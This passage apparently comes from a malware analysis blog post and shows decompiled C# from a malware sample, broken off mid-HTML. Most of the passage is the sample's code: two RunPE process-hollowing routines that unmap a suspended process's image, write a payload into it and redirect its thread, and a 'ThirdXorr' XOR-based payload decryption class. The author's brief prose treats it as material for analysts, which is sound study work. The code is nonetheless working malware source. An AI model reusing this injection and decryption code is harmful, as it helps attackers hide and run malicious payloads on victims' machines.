? ((RuntimePortableExecutable.SectionHeader)expr_244) : sectionHeader2);\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] array = <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[sectionHeader.Size + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>u];\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_277_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num8 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)sectionHeader.Size - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>uL);\r\n\t\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> j = arg_277_0; j &lt;= num8; j++)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tarray[j] = data[(<span style=\"color: #333399; font-weight: bold\">int<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)sectionHeader.Pointer + (<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)j))];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tIntPtr arg_2C7_0 = processInformation.Process;\r\n\t\t\t\t\t\tIntPtr arg_2C7_1 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)(num4 + sectionHeader.Address)));\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] arg_2C7_2 = array;\r\n\t\t\t\t\t\tIntPtr arg_2C7_3 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)sectionHeader.Size));\r\n\t\t\t\t\t\tnum3 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)num5;\r\n\t\t\t\t\t\tRuntimePortableExecutable.WriteProcessMemory(arg_2C7_0, arg_2C7_1, arg_2C7_2, arg_2C7_3, <span style=\"color: #008800; font-weight: bold\">out<\/span> num3);\r\n\t\t\t\t\t\tnum5 = (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)num3;\r\n\t\t\t\t\t\tRuntimePortableExecutable.VirtualProtectEx(processInformation.Process, (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)(num4 + sectionHeader.Address))), (UIntPtr)sectionHeader.Misc.Size, (UIntPtr)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)RuntimePortableExecutable.Protect((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)sectionHeader.Flags))), (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)num2);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] bytes = BitConverter.GetBytes(num4);\r\n\t\t\t\t\tIntPtr arg_350_0 = processInformation.Process;\r\n\t\t\t\t\tIntPtr arg_350_1 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)context.Ebx + <span style=\"color: #6600EE; font-weight: bold\">8<\/span>uL));\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] arg_350_2 = bytes;\r\n\t\t\t\t\tIntPtr arg_350_3 = (IntPtr)<span style=\"color: #6600EE; font-weight: bold\">4<\/span>;\r\n\t\t\t\t\tnum3 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)num5;\r\n\t\t\t\t\tRuntimePortableExecutable.WriteProcessMemory(arg_350_0, arg_350_1, arg_350_2, arg_350_3, <span style=\"color: #008800; font-weight: bold\">out<\/span> num3);\r\n\t\t\t\t\tnum5 = (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)num3;\r\n\t\t\t\t\tcontext.Eax = num4 + ntHeaders.Optional.Address;\r\n\t\t\t\t\tRuntimePortableExecutable.SetThreadContext(processInformation.Thread, <span style=\"color: #008800; font-weight: bold\">ref<\/span> context);\r\n\t\t\t\t\tRuntimePortableExecutable.ResumeThread(processInformation.Thread);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n<\/pre>\n<\/div>\n<p>Win7<\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Windows7<\/span>(<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] data, <span style=\"color: #333399; font-weight: bold\">string<\/span> target)\r\n\t\t{\r\n\t\t\tRuntimePortableExecutable.Context context = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.Context);\r\n\t\t\tRuntimePortableExecutable.ProcessInformation processInformation = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.ProcessInformation);\r\n\t\t\tRuntimePortableExecutable.StartupInformation startupInformation = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.StartupInformation);\r\n\t\t\tRuntimePortableExecutable.SecurityFlags securityFlags = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.SecurityFlags);\r\n\t\t\tRuntimePortableExecutable.SecurityFlags securityFlags2 = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.SecurityFlags);\r\n\t\t\tGCHandle gCHandle = GCHandle.Alloc(data, GCHandleType.Pinned);\r\n\t\t\tIntPtr ptr = gCHandle.AddrOfPinnedObject();\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num = ptr.ToInt32();\r\n\t\t\tRuntimePortableExecutable.DosHeader dosHeader;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">object<\/span> expr_58 = Marshal.PtrToStructure(gCHandle.AddrOfPinnedObject(), dosHeader.GetType());\r\n\t\t\tRuntimePortableExecutable.DosHeader dosHeader2;\r\n\t\t\tdosHeader = ((expr_58 != <span style=\"color: #008800; font-weight: bold\">null<\/span>) ? ((RuntimePortableExecutable.DosHeader)expr_58) : dosHeader2);\r\n\t\t\tgCHandle.Free();\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> arg_8A_4 = <span style=\"color: #008800; font-weight: bold\">false<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">uint<\/span> arg_8A_5 = <span style=\"color: #6600EE; font-weight: bold\">4<\/span>u;\r\n\t\t\tIntPtr intPtr;\r\n\t\t\tIntPtr arg_8A_6 = intPtr;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text2 = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (!(-(RuntimePortableExecutable.CreateProcess(<span style=\"color: #008800; font-weight: bold\">ref<\/span> text, <span style=\"color: #008800; font-weight: bold\">ref<\/span> target, <span style=\"color: #008800; font-weight: bold\">ref<\/span> securityFlags, <span style=\"color: #008800; font-weight: bold\">ref<\/span> securityFlags2, arg_8A_4, arg_8A_5, arg_8A_6, <span style=\"color: #008800; font-weight: bold\">ref<\/span> text2, <span style=\"color: #008800; font-weight: bold\">ref<\/span> startupInformation, <span style=\"color: #008800; font-weight: bold\">out<\/span> processInformation) &gt; <span style=\"color: #008800; font-weight: bold\">false<\/span>)))\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n\t\t\t}\r\n\t\t\tptr = <span style=\"color: #008800; font-weight: bold\">new<\/span> IntPtr(num + dosHeader.Address);\r\n\t\t\tRuntimePortableExecutable.NtHeaders ntHeaders;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">object<\/span> expr_BA = Marshal.PtrToStructure(ptr, ntHeaders.GetType());\r\n\t\t\tRuntimePortableExecutable.NtHeaders ntHeaders2;\r\n\t\t\tntHeaders = ((expr_BA != <span style=\"color: #008800; font-weight: bold\">null<\/span>) ? ((RuntimePortableExecutable.NtHeaders)expr_BA) : ntHeaders2);\r\n\t\t\tstartupInformation.CB = Strings.Len(startupInformation);\r\n\t\t\tcontext.Flags = <span style=\"color: #6600EE; font-weight: bold\">65538<\/span>u;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> ((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)ntHeaders.Signature != <span style=\"color: #6600EE; font-weight: bold\">17744<\/span>uL | dosHeader.Magic != <span style=\"color: #6600EE; font-weight: bold\">23117<\/span>)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> arg_15A_0 = RuntimePortableExecutable.GetThreadContext(processInformation.Thread, <span style=\"color: #008800; font-weight: bold\">ref<\/span> context);\r\n\t\t\tIntPtr arg_14F_0 = processInformation.Process;\r\n\t\t\tIntPtr arg_14F_1 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)context.Ebx + <span style=\"color: #6600EE; font-weight: bold\">8<\/span>uL));\r\n\t\t\tptr = (IntPtr)<span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\tIntPtr arg_14F_3 = (IntPtr)<span style=\"color: #6600EE; font-weight: bold\">4<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num2 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (arg_15A_0 &amp; RuntimePortableExecutable.ReadProcessMemory(arg_14F_0, arg_14F_1, <span style=\"color: #008800; font-weight: bold\">ref<\/span> ptr, arg_14F_3, <span style=\"color: #008800; font-weight: bold\">ref<\/span> num2) &gt;= <span style=\"color: #6600EE; font-weight: bold\">0<\/span> &amp; RuntimePortableExecutable.ZwUnmapViewOfSection(processInformation.Process, (IntPtr)<span style=\"color: #6600EE; font-weight: bold\">0<\/span>) &gt;= <span style=\"color: #6600EE; font-weight: bold\">0L<\/span>)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">uint<\/span> num3 = (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)((<span style=\"color: #333399; font-weight: bold\">int<\/span>)RuntimePortableExecutable.VirtualAllocEx(processInformation.Process, (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)ntHeaders.Optional.Image)), ntHeaders.Optional.SImage, <span style=\"color: #6600EE; font-weight: bold\">12288<\/span>u, <span style=\"color: #6600EE; font-weight: bold\">4<\/span>u));\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> ((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)num3 != <span style=\"color: #6600EE; font-weight: bold\">0<\/span>uL)\r\n\t\t\t\t{\r\n\t\t\t\t\tIntPtr arg_1E3_0 = processInformation.Process;\r\n\t\t\t\t\tIntPtr arg_1E3_1 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)num3));\r\n\t\t\t\t\tIntPtr arg_1E3_3 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)ntHeaders.Optional.SHeaders));\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">uint<\/span> num4;\r\n\t\t\t\t\tnum2 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)num4;\r\n\t\t\t\t\tRuntimePortableExecutable.WriteProcessMemory(arg_1E3_0, arg_1E3_1, data, arg_1E3_3, <span style=\"color: #008800; font-weight: bold\">out<\/span> num2);\r\n\t\t\t\t\tnum4 = (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)num2;\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">long<\/span> num5 = (<span style=\"color: #333399; font-weight: bold\">long<\/span>)(dosHeader.Address + <span style=\"color: #6600EE; font-weight: bold\">248<\/span>);\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_20E_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num6 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)(ntHeaders.File.Sections - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = arg_20E_0; i &lt;= num6; i++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tptr = <span style=\"color: #008800; font-weight: bold\">new<\/span> IntPtr((<span style=\"color: #333399; font-weight: bold\">long<\/span>)num + num5 + (<span style=\"color: #333399; font-weight: bold\">long<\/span>)(i * <span style=\"color: #6600EE; font-weight: bold\">40<\/span>));\r\n\t\t\t\t\t\tRuntimePortableExecutable.SectionHeader sectionHeader;\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">object<\/span> expr_23B = Marshal.PtrToStructure(ptr, sectionHeader.GetType());\r\n\t\t\t\t\t\tRuntimePortableExecutable.SectionHeader sectionHeader2;\r\n\t\t\t\t\t\tsectionHeader = ((expr_23B != <span style=\"color: #008800; font-weight: bold\">null<\/span>) ? ((RuntimePortableExecutable.SectionHeader)expr_23B) : sectionHeader2);\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] array = <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[sectionHeader.Size + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>u];\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_26E_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num7 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)sectionHeader.Size - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>uL);\r\n\t\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> j = arg_26E_0; j &lt;= num7; j++)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tarray[j] = data[(<span style=\"color: #333399; font-weight: bold\">int<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)sectionHeader.Pointer + (<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)j))];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tIntPtr arg_2BE_0 = processInformation.Process;\r\n\t\t\t\t\t\tIntPtr arg_2BE_1 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)(num3 + sectionHeader.Address)));\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] arg_2BE_2 = array;\r\n\t\t\t\t\t\tIntPtr arg_2BE_3 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)sectionHeader.Size));\r\n\t\t\t\t\t\tnum2 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)num4;\r\n\t\t\t\t\t\tRuntimePortableExecutable.WriteProcessMemory(arg_2BE_0, arg_2BE_1, arg_2BE_2, arg_2BE_3, <span style=\"color: #008800; font-weight: bold\">out<\/span> num2);\r\n\t\t\t\t\t\tnum4 = (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)num2;\r\n\t\t\t\t\t\tRuntimePortableExecutable.VirtualProtectEx(processInformation.Process, (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)(num3 + sectionHeader.Address))), (UIntPtr)sectionHeader.Misc.Size, (UIntPtr)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)RuntimePortableExecutable.Protect((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)sectionHeader.Flags))), <span style=\"color: #6600EE; font-weight: bold\">0<\/span>u);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] bytes = BitConverter.GetBytes(num3);\r\n\t\t\t\t\tIntPtr arg_346_0 = processInformation.Process;\r\n\t\t\t\t\tIntPtr arg_346_1 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)context.Ebx + <span style=\"color: #6600EE; font-weight: bold\">8<\/span>uL));\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] arg_346_2 = bytes;\r\n\t\t\t\t\tIntPtr arg_346_3 = (IntPtr)<span style=\"color: #6600EE; font-weight: bold\">4<\/span>;\r\n\t\t\t\t\tnum2 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)num4;\r\n\t\t\t\t\tRuntimePortableExecutable.WriteProcessMemory(arg_346_0, arg_346_1, arg_346_2, arg_346_3, <span style=\"color: #008800; font-weight: bold\">out<\/span> num2);\r\n\t\t\t\t\tnum4 = (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)num2;\r\n\t\t\t\t\tcontext.Eax = num3 + ntHeaders.Optional.Address;\r\n\t\t\t\t\tRuntimePortableExecutable.SetThreadContext(processInformation.Thread, <span style=\"color: #008800; font-weight: bold\">ref<\/span> context);\r\n\t\t\t\t\tRuntimePortableExecutable.ResumeThread(processInformation.Thread);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n<\/pre>\n<\/div>\n<p>The &#8216;ue4tretr&#8217; class is the most interesting. The &#8216;ThirdXorr&#8217; method is, as you would probably guess, a class devoted to decryption of a bytestream passed to it. Code time:<\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Text<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">namespace<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Project1<\/span>\r\n{\r\n\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">ThirdXorr<\/span>\r\n\t{\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> _defKey;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> Key\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">get<\/span>\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #008800; font-weight: bold\">this<\/span>._defKey;\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">set<\/span>\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>._defKey = <span style=\"color: #008800; font-weight: bold\">value<\/span>;\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #0066BB; font-weight: bold\">ThirdXorr<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span> Key)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>._defKey = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Key = Key;\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #0066BB; font-weight: bold\">ThirdXorr<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>._defKey = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Key = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #0066BB; font-weight: bold\">PolyCrypt<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span> data)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> Encoding.Default.GetString(<span style=\"color: #008800; font-weight: bold\">this<\/span>.PolyCrypt(Encoding.Default.GetBytes(data)));\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #0066BB; font-weight: bold\">PolyDeCrypt<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span> data)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> Encoding.Default.GetString(<span style=\"color: #008800; font-weight: bold\">this<\/span>.PolyDeCrypt(Encoding.Default.GetBytes(data)));\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] <span style=\"color: #0066BB; font-weight: bold\">PolyCrypt<\/span>(<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] data)\r\n\t\t{\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] array = <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[data.Length + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>];\r\n\t\t\tarray[<span style=\"color: #6600EE; font-weight: bold\">0<\/span>] = Convert.ToByte(<span style=\"color: #008800; font-weight: bold\">new<\/span> Random().Next(<span style=\"color: #6600EE; font-weight: bold\">1<\/span>, <span style=\"color: #6600EE; font-weight: bold\">255<\/span>));\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_2A_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num = data.Length - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = arg_2A_0; i &lt;= num; i++)\r\n\t\t\t{\r\n\t\t\t\tarray[i + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>] = ThirdXorr.ModuloByte(array[i], (<span style=\"color: #333399; font-weight: bold\">short<\/span>)data[i]);\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> ThirdXorr.XorCrypt(array, Encoding.Default.GetBytes(<span style=\"color: #008800; font-weight: bold\">this<\/span>.Key));\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] <span style=\"color: #0066BB; font-weight: bold\">PolyDeCrypt<\/span>(<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] data)\r\n\t\t{\r\n\t\t\tdata = ThirdXorr.XorCrypt(data, Encoding.Default.GetBytes(<span style=\"color: #008800; font-weight: bold\">this<\/span>.Key));\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] array = <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[data.Length - <span style=\"color: #6600EE; font-weight: bold\">2<\/span> + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>];\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = data.Length - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>; i &gt;= <span style=\"color: #6600EE; font-weight: bold\">1<\/span>; i += -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>)\r\n\t\t\t{\r\n\t\t\t\tarray[i - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>] = ThirdXorr.ModuloByte(data[i], (<span style=\"color: #333399; font-weight: bold\">short<\/span>)(-(<span style=\"color: #333399; font-weight: bold\">short<\/span>)data[i - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>]));\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> array;\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span> <span style=\"color: #0066BB; font-weight: bold\">ModuloByte<\/span>(<span style=\"color: #333399; font-weight: bold\">byte<\/span> myByte, <span style=\"color: #333399; font-weight: bold\">short<\/span> addition)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">while<\/span> (addition &lt; <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\taddition += <span style=\"color: #6600EE; font-weight: bold\">256<\/span>;\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> Convert.ToByte((<span style=\"color: #333399; font-weight: bold\">int<\/span>)(((<span style=\"color: #333399; font-weight: bold\">short<\/span>)myByte + addition) % <span style=\"color: #6600EE; font-weight: bold\">256<\/span>));\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] <span style=\"color: #0066BB; font-weight: bold\">XorCrypt<\/span>(<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] data, <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] Key)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Key.Length != <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_0D_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num = data.Length - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = arg_0D_0; i &lt;= num; i++)\r\n\t\t\t\t{\r\n\t\t\t\t\tdata[i] = (data[i] ^ ThirdXorr.ModuloByte(Key[i % Key.Length], (<span style=\"color: #333399; font-weight: bold\">short<\/span>)Key[(<span style=\"color: #333399; font-weight: bold\">int<\/span>)Key[i % Key.Length] % Key.Length]) ^ Key[(i + i % <span style=\"color: #6600EE; font-weight: bold\">7<\/span>) % Key.Length % Key.Length]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> data;\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #0066BB; font-weight: bold\">XorCrypt<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span> data)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #008800; font-weight: bold\">this<\/span>.XorCrypt(data, <span style=\"color: #008800; font-weight: bold\">null<\/span>);\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #0066BB; font-weight: bold\">XorCrypt<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span> data, <span style=\"color: #333399; font-weight: bold\">string<\/span> Key)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> Encoding.Default.GetString(ThirdXorr.XorCrypt(Encoding.Default.GetBytes(data), Encoding.Default.GetBytes(Key)));\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>The &#8216;ue4tretr&#8217; class is the main class and the real meat and potatoes of the malware binary. It contains multiple interesting methods for injection, persistance, and all of the IOC goodies us malware analysts like to flag. Observe:<\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em 